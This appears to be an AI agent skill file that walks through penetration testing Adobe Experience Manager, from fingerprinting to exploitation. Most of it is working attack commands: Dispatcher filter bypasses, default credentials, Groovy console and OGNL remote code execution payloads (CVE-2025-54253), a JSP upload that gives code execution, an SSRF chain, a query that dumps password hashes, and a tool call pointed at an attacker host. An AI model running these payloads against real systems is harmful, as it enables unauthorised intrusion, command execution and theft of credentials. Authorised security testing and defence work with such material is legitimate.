Aem Pentest

AEM (Adobe Experience Manager) Pentesting

This skill guides you through pentesting Adobe Experience Manager (AEM) instances. AEM is an enterprise CMS running on Apache Sling/Felix (OSGi) with a Java Content Repository (JCR). From an attacker perspective, AEM instances often expose dangerous development endpoints, weak Dispatcher rules, default credentials, and CVEs patched quarterly.

Quick Start

1. Fingerprint the target to confirm AEM
2. Scan for high-value unauthenticated endpoints
3. Test for common misconfigurations
4. Check for known CVEs based on version
5. Exploit if vulnerabilities are found

1. Fingerprinting

Confirm the target is running AEM before proceeding.

Check HTTP headers

curl -s -I https://target | egrep -i "aem|sling|cq|dispatcher"

Look for:

• X-Dispatcher: * - Header added by AEM Dispatcher
• X-Content-Type-Options: nosniff

Check static paths

curl -s https://target/etc.clientlibs/ | head -20
curl -s https://target/libs/granite/core/content/login.html | grep -i "adobe"

Check HTML comments

curl -s https://target | grep -o '</script><!--/* CQ */-->'

If you find any of these indicators, you're dealing with AEM.

2. High-Value Unauthenticated Endpoints

Test these endpoints systematically. Many are blocked by default but Dispatcher bypasses often work.

Dispatcher Bypass Techniques

Most production sites sit behind the Dispatcher (reverse-proxy). Filter rules are frequently bypassed.

Semicolon + allowed extension:

curl -s "https://target/bin/querybuilder.json;%0aa.css?path=/home&type=rep:User"

Encoded slash bypass (2025 KB ka-27832):

curl -s "https://target/%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType"

Use the aem-fingerprint.sh script to automate these checks.

3. Common Misconfigurations

Test for these issues that persist in 2026:

3.1 Anonymous POST Servlet

curl -s -X POST "https://target/.json" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d ":operation=import&jcr:primaryType=nt:file"

If successful, you can plant new JCR nodes.

3.2 World-Readable User Profiles

curl -s "https://target/home/users/*/profile/.1.json"

Default ACL grants jcr:read on /home/users/**/profile/* to everyone.

3.3 Default Credentials

Try these common defaults:

• admin:admin
• author:author
• replication:replication

3.4 WCMDebugFilter XSS

curl -s "https://target/?debug=layout" | grep -i "debug"

CVE-2016-7882 - still found on legacy 6.4 installs.

3.5 Groovy Console Exposure

curl -u admin:admin -d 'script=println "pwn".execute()' \
  "https://target/bin/groovyconsole/post.json"

3.6 AEM Forms Struts DevMode

curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start()"

CVE-2025-54253 - unauthenticated OGNL RCE.

4. CVE Checking

Match the customer's service pack to known vulnerabilities:

Recommendation: Push for latest 6.5.24 (Nov 26, 2025) or Cloud Service 2025.12. AEM Forms on JEE needs hotfix 6.5.0-0108+.

5. Exploitation

5.1 RCE via Dispatcher Bypass + JSP Upload

If anonymous write is possible:

# Create a node that becomes /content/evil.jsp
curl -X POST "https://target/content/evil.jsp;%0aa.css" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d ":contentType=text/plain&jcr:data=%3C%25%20out.println(\"pwned\");%25%3E&:operation=import"

# Execute the JSP
curl -s "https://target/content/evil.jsp"

5.2 SSRF to RCE (Historical < 6.3)

curl -s "https://target/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console"

Use aem-hacker tool to automate this chain.

5.3 OGNL RCE on AEM Forms JEE (CVE-2025-54253)

curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

If vulnerable, the HTTP body contains command output.

5.4 QueryBuilder Hash Disclosure

curl -s "https://target/%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0"

Returns user nodes including rep:password hashes when anonymous read ACLs are default.

6. Tooling

aem-hacker

Swiss-army enumeration script supporting dispatcher bypass, SSRF detection, default-creds checks.

python3 aem_hacker.py -u https://target --host attacker-ip

Tenable WAS Plugin 115065

Detects QueryBuilder hash disclosure & encoded-slash bypass automatically (published Dec 2025).

Content Brute-Force

Recursively request /_jcr_content.(json|html) to discover hidden components.

osgi-infect

Upload malicious OSGi bundle via /system/console/bundles if creds available.

Workflow Summary

1. Fingerprint → Confirm AEM with headers, paths, comments
2. Enumerate → Test high-value endpoints with bypasses
3. Check CVEs → Match version to vulnerability database
4. Test Misconfigs → Default creds, exposed consoles, debug modes
5. Exploit → Use appropriate technique based on findings
6. Report → Document findings with CVE references and remediation

References

• Adobe Security Bulletin APSB25-115
• BleepingComputer - AEM Forms Zero-Days
• aem-hacker GitHub